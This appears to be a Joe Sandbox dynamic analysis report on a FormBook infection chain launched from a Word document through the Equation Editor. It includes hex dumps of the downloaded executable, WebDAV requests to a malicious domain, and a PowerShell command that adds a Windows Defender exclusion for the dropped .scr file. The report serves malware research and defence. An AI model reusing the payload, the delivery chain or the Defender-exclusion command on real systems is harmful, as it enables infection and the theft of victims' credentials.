2024-07-26 07:26:18 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:18 GMT Content-Type: application/x-silverlight Content-Length: 796680 Connection: close Last-Modified: Fri, 26 Jul 2024 00:31:45 GMT ETag: "c2808-61e1ba2dce9fb" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pWwWJ9iZLeWEoVt0UW85dI9bj2pfObmkorVISZyu3nZIKZ25etSd%2FSyukoYsQBFV5%2BgdKXgo%2Bo%2FxIO8nP7j58dS5hi7jOvDAfOLU6aPsiN0KbnFnTVfCOE6tau6GRPiQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a926897c42de-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:18 UTC	606	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f ed a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e6 0b 00 00 0a 00 00 00 00 00 00 aa 05 0c 00 00 20 00 00 00 20 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?f0 @ `@
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 02 00 00 02 28 21 00 00 0a 6f 22 00 00 0a 73 23 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 03 00 21 00 00 00 03 00 00 11 00 28 02 00 00 06 72 3b 00 00 70 7e 02 00 00 04 6f 24 00 00 0a 0a 06 74 16 00 00 01 0b 2b 00 07 2a 22 02 28 25 00 00 0a 00 2a 46 02 28 25 00 00 0a 00 00 02 03 28 0d 00 00 06 00 2a 1e 02 7b 03 00 00 04 2a 22 02 03 7d 03 00 00 04 2a 46 02 28 25 00 00 0a 00 00 02 03 28 10 00 00 06 00 2a 1e 02 7b 04 00 00 04 2a 22 02 03 7d 04 00 00 04 2a 26 02 28 25 00 00 0a 00 00 2a 46 02 28 25 00 00 0a 00 00 02 03 28 15 00 00 06 00 2a 1e Data Ascii: 9~,"rp(!o"s#~+0~+"0!(r;p~o$t+"(%F(%({"}F(%({"}&(%F(%(*
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 99 00 00 06 00 2a 1e 02 7b 3a 00 00 04 2a 22 02 03 7d 3a 00 00 04 2a 66 02 28 25 00 00 0a 00 00 02 03 28 9c 00 00 06 00 02 04 28 9e 00 00 06 00 2a 1e 02 7b 3b 00 00 04 2a 22 02 03 7d 3b 00 00 04 2a 1e 02 7b 3c 00 00 04 2a 22 02 03 7d 3c 00 00 04 2a 46 02 28 25 00 00 0a 00 00 02 03 28 a1 00 00 06 00 2a 1e 02 7b 3d 00 00 04 2a 22 02 03 7d 3d 00 00 04 2a 00 00 00 13 30 04 00 c6 00 00 00 04 00 00 11 00 03 18 5a 0a 12 01 06 06 28 26 00 00 0a 12 02 0f 00 28 27 00 00 0a 07 28 28 00 00 0a 73 29 00 00 0a 0d 03 16 fe 01 13 04 11 04 2c 11 00 09 02 6f 2a 00 00 0a 00 09 13 05 38 85 00 00 00 09 08 22 00 00 34 43 22 00 00 b4 42 6f 2b 00 00 0a 00 12 02 0f 00 28 2c 00 00 0a 06 59 28 2d 00 00 0a 00 09 08 22 00 00 87 43 22 00 00 b4 42 6f 2b 00 00 0a 00 12 02 0f 00 28 2e 00 Data Ascii: {:"}:f(%(({;"};{<"}<F(%({="}=0Z(&('((s),o8"4C"Bo+(,Y(-"C"Bo+(.
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 0a 2b 00 06 2a 00 00 00 13 30 02 00 35 00 00 00 07 00 00 11 00 02 7b 46 00 00 04 03 28 3a 00 00 0a 2d 0b 02 28 b5 00 00 06 16 fe 01 2b 01 17 0a 06 2c 02 2b 13 02 03 7d 46 00 00 04 02 72 f9 00 00 70 6f e5 00 00 06 00 2a 00 00 00 13 30 01 00 0b 00 00 00 0d 00 00 11 00 72 13 01 00 70 0a 2b 00 06 2a 9a 02 28 41 00 00 0a 7d 47 00 00 04 02 28 42 00 00 0a 7d 48 00 00 04 02 17 7d 49 00 00 04 02 28 e6 00 00 06 00 00 2a ee 02 28 41 00 00 0a 7d 47 00 00 04 02 28 42 00 00 0a 7d 48 00 00 04 02 17 7d 49 00 00 04 02 28 e6 00 00 06 00 00 02 03 7d 49 00 00 04 02 04 7d 47 00 00 04 02 05 7d 48 00 00 04 2a 00 00 13 30 01 00 0c 00 00 00 0b 00 00 11 00 02 7b 47 00 00 04 0a 2b 00 06 2a 13 30 02 00 27 00 00 00 07 00 00 11 00 02 7b 47 00 00 04 03 28 3f 00 00 0a 0a 06 2c 02 2b 13 Data Ascii: +05{F(:-(+,+}Frpo0rp+(A}G(B}H}I((A}G(B}H}I(}I}G}H0{G+0'{G(?,+
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 04 05 28 51 00 00 0a 0d 2b 00 09 2a 00 00 00 01 10 00 00 00 00 0f 00 44 53 00 18 13 00 00 01 13 30 05 00 c5 00 00 00 13 00 00 11 00 05 75 51 00 00 02 14 fe 03 0a 06 39 a2 00 00 00 0e 04 d0 68 00 00 01 28 21 00 00 0a 28 46 00 00 0a 0b 07 39 8a 00 00 00 00 05 74 51 00 00 02 0c 19 8d 13 00 00 01 0d 19 8d 1e 00 00 01 13 04 11 04 16 d0 66 00 00 01 28 21 00 00 0a a2 09 16 08 6f ce 00 00 06 8c 66 00 00 01 a2 11 04 17 d0 67 00 00 01 28 21 00 00 0a a2 09 17 08 6f d0 00 00 06 8c 67 00 00 01 a2 11 04 18 d0 2b 00 00 01 28 21 00 00 0a a2 09 18 08 6f d2 00 00 06 8c 2b 00 00 01 a2 d0 51 00 00 02 28 21 00 00 0a 11 04 28 52 00 00 0a 13 05 11 05 09 73 53 00 00 0a 13 06 2b 0f 02 03 04 05 0e 04 28 54 00 00 0a 13 06 2b 00 11 06 2a 00 00 00 13 30 01 00 07 00 00 00 07 00 00 11 Data Ascii: (Q+DS0uQ9h(!(F9tQf(!ofg(!og+(!o+Q(!(RsS+(T+0
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 00 01 00 06 6f ad 00 00 06 02 28 00 01 00 06 6f b1 00 00 06 02 28 00 01 00 06 6f af 00 00 06 73 28 00 00 0a 6f 7c 00 00 0a 00 02 28 00 01 00 06 6f b5 00 00 06 2c 0d 02 28 00 01 00 06 6f b3 00 00 06 2b 01 16 13 0a 11 0a 39 9a 00 00 00 00 03 6f 6c 00 00 0a 02 6f 7d 00 00 0a 02 28 00 01 00 06 6f ba 00 00 06 28 41 00 00 0a 73 37 00 00 0a 02 28 00 01 00 06 6f bc 00 00 06 13 0b 12 0b 28 3b 00 00 0a 02 28 00 01 00 06 6f bc 00 00 06 13 0b 12 0b 28 7e 00 00 0a 18 59 73 35 00 00 0a 28 7f 00 00 0a 6f 80 00 00 0a 00 03 6f 6c 00 00 0a 02 6f 7d 00 00 0a 02 28 00 01 00 06 6f ba 00 00 06 02 28 00 01 00 06 6f b7 00 00 06 02 28 00 01 00 06 6f bc 00 00 06 28 7f 00 00 0a 6f 80 00 00 0a 00 00 38 95 00 00 00 00 03 6f 6c 00 00 0a 02 6f 7d 00 00 0a 02 28 00 01 00 06 6f ba 00 00 Data Ascii: o(o(os(o\|(o,(o+9olo}(o(As7(o(;(o(~Ys5(oolo}(o(o(o(o8olo}(o
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 0a 6f 95 00 00 0a 00 25 1f 0a 16 1f 0a 1f 0a 02 7c 61 00 00 04 28 7a 00 00 0a 1f 14 59 73 70 00 00 0a 6f 95 00 00 0a 00 7d 64 00 00 04 00 02 7b 64 00 00 04 6f 96 00 00 0a 0d 2b 43 12 03 28 97 00 00 0a 13 04 12 04 28 98 00 00 0a 13 06 12 06 02 7b 63 00 00 04 28 99 00 00 0a 13 05 11 05 2c 1e 00 03 12 04 28 9a 00 00 0a 6e 28 9b 00 00 0a 28 9c 00 00 0a 00 02 17 7d 66 00 00 04 2b 09 12 03 28 9d 00 00 0a 2d b4 de 0f 12 03 fe 16 02 00 00 1b 6f 74 00 00 0a 00 dc 00 02 7b 66 00 00 04 16 fe 01 13 07 11 07 2c 08 02 03 28 8d 00 00 0a 00 2a 00 00 00 01 10 00 00 02 00 c9 01 50 19 02 0f 00 00 00 00 1e 02 7b 67 00 00 04 2a 22 02 03 7d 67 00 00 04 2a 1e 02 7b 68 00 00 04 2a 22 02 03 7d 68 00 00 04 2a 00 00 13 30 01 00 0c 00 00 00 07 00 00 11 00 02 7b 69 00 00 04 0a 2b 00 Data Ascii: o%\|a(zYspo}d{do+C(({c(,(n((}f+(-ot{f,(P{g"}g{h"}h*0{i+
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 00 00 04 03 28 3f 00 00 0a 0a 06 2c 02 2b 18 02 03 7d 6e 00 00 04 02 28 66 00 00 0a 0b 07 2c 07 02 28 67 00 00 0a 00 2a 13 30 01 00 0c 00 00 00 1e 00 00 11 00 02 7b 6f 00 00 04 0a 2b 00 06 2a 13 30 02 00 28 00 00 00 07 00 00 11 00 02 7b 6f 00 00 04 6f ce 00 00 06 2c 0b 02 7b 6f 00 00 04 03 fe 01 2b 01 17 0a 06 2c 02 2b 07 02 03 7d 6f 00 00 04 2a 1b 30 01 00 16 00 00 00 00 00 00 00 00 00 00 de 10 26 00 72 05 03 00 70 28 bb 00 00 0a 26 00 de 00 2a 00 00 01 10 00 00 00 00 01 00 04 05 00 10 13 00 00 01 6a 00 28 bc 00 00 0a 00 16 28 bd 00 00 0a 00 73 11 01 00 06 28 be 00 00 0a 00 2a 5e 02 14 7d 73 00 00 04 02 28 f0 00 00 06 00 00 02 28 13 01 00 06 00 2a 00 13 30 02 00 2b 00 00 00 07 00 00 11 00 03 2c 0b 02 7b 73 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b Data Ascii: (?,+}n(f,(g0{o+0({oo,{o+,+}o0&rp(&j((s(^}s((0+,{s+,{
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: 04 00 00 58 13 0c 16 13 07 2b 1b 00 11 0c 11 07 5a 13 1a 11 1a 1b 58 20 00 02 00 00 5d 13 1a 11 07 17 58 13 07 00 11 07 19 fe 04 13 1b 11 1b 2d da 11 0c 20 00 02 00 00 5d 13 0d 16 13 07 2b 1b 00 11 0d 11 07 5a 13 1c 11 1c 1d 58 20 00 01 00 00 5d 13 1c 11 07 17 58 13 07 00 11 07 19 fe 04 13 1d 11 1d 2d da 11 0d 20 00 01 00 00 59 20 00 04 00 00 58 13 0e 16 13 07 2b 1c 00 11 0e 11 07 5a 13 1e 11 1e 1f 09 58 20 00 02 00 00 5d 13 1e 11 07 17 58 13 07 00 11 07 19 fe 04 13 1f 11 1f 2d d9 11 0e 20 ff 00 00 00 5f 13 0f 07 11 06 11 0f d2 9c 00 11 06 17 58 13 06 11 06 08 fe 04 13 20 11 20 3a 0c fe ff ff 02 7b 76 00 00 04 72 d3 03 00 70 6f 2f 01 00 06 00 02 7b 76 00 00 04 72 d3 03 00 70 6f 31 01 00 06 00 02 7b 76 00 00 04 72 d3 03 00 70 6f 33 01 00 06 00 02 7b 76 00 Data Ascii: X+ZX ]X- ]+ZX ]X- Y X+ZX ]X- _X :{vrpo/{vrpo1{vrpo3{v
2024-07-26 07:26:18 UTC	1369	IN	Data Raw: d9 00 00 0a 00 06 17 58 0a 06 02 7b 7e 00 00 04 8e 69 fe 04 0b 07 2d d3 2a 00 13 30 05 00 90 00 00 00 00 00 00 00 02 14 7d 7f 00 00 04 02 28 da 00 00 0a 00 00 02 28 48 01 00 06 00 02 1a 8d 68 00 00 02 25 16 02 7b 80 00 00 04 a2 25 17 02 7b 81 00 00 04 a2 25 18 02 7b 82 00 00 04 a2 25 19 02 7b 83 00 00 04 a2 7d 7e 00 00 04 02 28 39 01 00 06 00 02 28 16 01 00 06 00 02 16 28 23 01 00 06 00 02 20 b3 01 00 00 1f 37 73 26 00 00 0a 28 1d 01 00 06 00 02 20 90 01 00 00 1f 28 73 26 00 00 0a 28 1f 01 00 06 00 02 20 02 28 02 00 17 28 65 00 00 0a 00 2a 13 30 01 00 11 00 00 00 22 00 00 11 00 02 7b 80 00 00 04 6f 7c 01 00 06 0a 2b 00 06 2a 00 00 00 13 30 02 00 5c 00 00 00 23 00 00 11 00 02 7b 80 00 00 04 6f 7c 01 00 06 03 fe 01 0a 06 2c 02 2b 46 00 02 7b 7e 00 00 04 0b Data Ascii: X{~i-0}((Hh%{%{%{%{}~(9((# 7s&( (s&( ((e0"{o\|+*0\#{o\|,+F{~

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.22	49169	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:24 UTC	160	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 64 61 72 70 65 78 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: darpexllc.top
2024-07-26 07:26:24 UTC	724	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 07:26:24 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctU14V3xb%2Bt0KhE8XC4IkSXJyMIJkxBOXDdTKxs4%2FeM5CUcNrARWvmHNm8nNJL5VkGvyegGx0N7K0PaKMDtHSwo1SUUbrnGrElQwveHKA1DRCn25JFe3eI1k8bEG%2BLIu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a94b0f3f80da-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:24 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 07:26:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.22	49170	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:28 UTC	160	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 64 61 72 70 65 78 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: darpexllc.top
2024-07-26 07:26:29 UTC	722	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 07:26:29 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1fdRFqgTHZNE7s70EoYZnR2VEMMweNys%2BmX04c0zmrz9m55ZFzXpRfgIn9ZZlQLo8DjKHf1ZAVm71e2HVBhN8OdJIik1Fpo3Xfcwqs0fnqyHdYHI2vJnux9x7F0N%2FBD8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a965df6a3320-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:29 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 07:26:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:25:58
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f730000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:26:16
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:26:18
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\milliano89012.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\milliano89012.scr"
Imagebase:	0x11a0000
File size:	796'680 bytes
MD5 hash:	3E71689FBA4D56A7F1C7923351518EA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs Detection: 34%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:26:19
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"
Imagebase:	0x1100000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:26:20
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\milliano89012.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\milliano89012.scr"
Imagebase:	0x11a0000
File size:	796'680 bytes
MD5 hash:	3E71689FBA4D56A7F1C7923351518EA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00542F90 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.398305122.000000000052F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0052F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52f000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6576f1c63bd7b7556c59e6ebb85051171805882ff7669f39f3d292324684402
Instruction ID: 3c9cc16dd3101dc7d068eba017b5db99ff4a14147c7d4bf5249f1498aa89d8bb
Opcode Fuzzy Hash: e6576f1c63bd7b7556c59e6ebb85051171805882ff7669f39f3d292324684402
Instruction Fuzzy Hash: 12D1C38698E7C01FD75387305CBA992BFB16D2312534E86CFC8C58E8A3E64D584AD763

Analysis Process: milliano89012.scrPID: 3288, Parent PID: 3224COMMON

Execution Graph

Execution Coverage:	21.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	161
Total number of Limit Nodes:	11

Executed Functions

Function 00390544 Relevance: 2.8, Strings: 1, Instructions: 1592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ppp, xrefs: 00393506

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: Ppp
API String ID: 0-99483665
Opcode ID: 2ebde660fc82fe0d7b8c4931ff87bff03c688b6f469719353325946665688b05
Instruction ID: 0d249bc93405d82633e3e8f7aa315f0a42e6134c2340c713fecfa7063b538932
Opcode Fuzzy Hash: 2ebde660fc82fe0d7b8c4931ff87bff03c688b6f469719353325946665688b05
Instruction Fuzzy Hash: 65F2F834A11219CFDB65DF64C894AE9B7B6FF89300F1186E9E4097B261DB71AE81CF40

Function 00395748 Relevance: 1.1, Instructions: 1086COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a351356b74debb48874e91f3cea007711db74a05d080cec08304f9ce7ab88f4b
Instruction ID: 65cc2d15250c62c4a57ef381a6d363308324bb5f98da04001b1feb0fceac3d6a
Opcode Fuzzy Hash: a351356b74debb48874e91f3cea007711db74a05d080cec08304f9ce7ab88f4b
Instruction Fuzzy Hash: A2B2D234A41219CFDB65DB64C894FE9B7B2BF89300F1185E9E5096B261DB32AE85CF40

Function 00395284 Relevance: 1.1, Instructions: 1083COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62eb344328270314d6c123bed980486048644d6f15924ff567404b72ef1d759
Instruction ID: 641fbecc9e478bd83beea400356e8f2d7c9c74a3e496bb11a8b2f8c403062be4
Opcode Fuzzy Hash: a62eb344328270314d6c123bed980486048644d6f15924ff567404b72ef1d759
Instruction Fuzzy Hash: E8B2C234A41219CFDB65DB64C894FE9B7B2FF89300F1185E9E5096B261DB32AE85CF40

Function 00396A48 Relevance: .6, Instructions: 594COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 521735c19a25387fcfeb5e8e3aecc0600ad63d80760694888f65d719ce3775e3
Instruction ID: 2518a5d0fad8d57013a0562622059837507a21be55314379c6ffb3fcd0f1c713
Opcode Fuzzy Hash: 521735c19a25387fcfeb5e8e3aecc0600ad63d80760694888f65d719ce3775e3
Instruction Fuzzy Hash: 1C520938A01219CFCB25DF64C991BA9B7B2FF8A300F1145E9E5496B361DB70AE85CF41

Function 003953B4 Relevance: .6, Instructions: 593COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d89fb2aecc8f29dc5528c189fa7e334daf5ed4864cc3f69102f6444d6006f5
Instruction ID: 21ea4a7a8c3a562c89680599deba5b39e9500606772c4ac247229f93efa0fe0a
Opcode Fuzzy Hash: 41d89fb2aecc8f29dc5528c189fa7e334daf5ed4864cc3f69102f6444d6006f5
Instruction Fuzzy Hash: 93520938A01219CFCB25DF64C991BA9B7B2FF8A300F1145E9E5496B361DB70AE85CF41

Function 0039D704 Relevance: 5.1, Strings: 4, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 0039D7BF
$p, xrefs: 0039D7CB
$p, xrefs: 0039D767
$p, xrefs: 0039D75B

Memory Dump Source

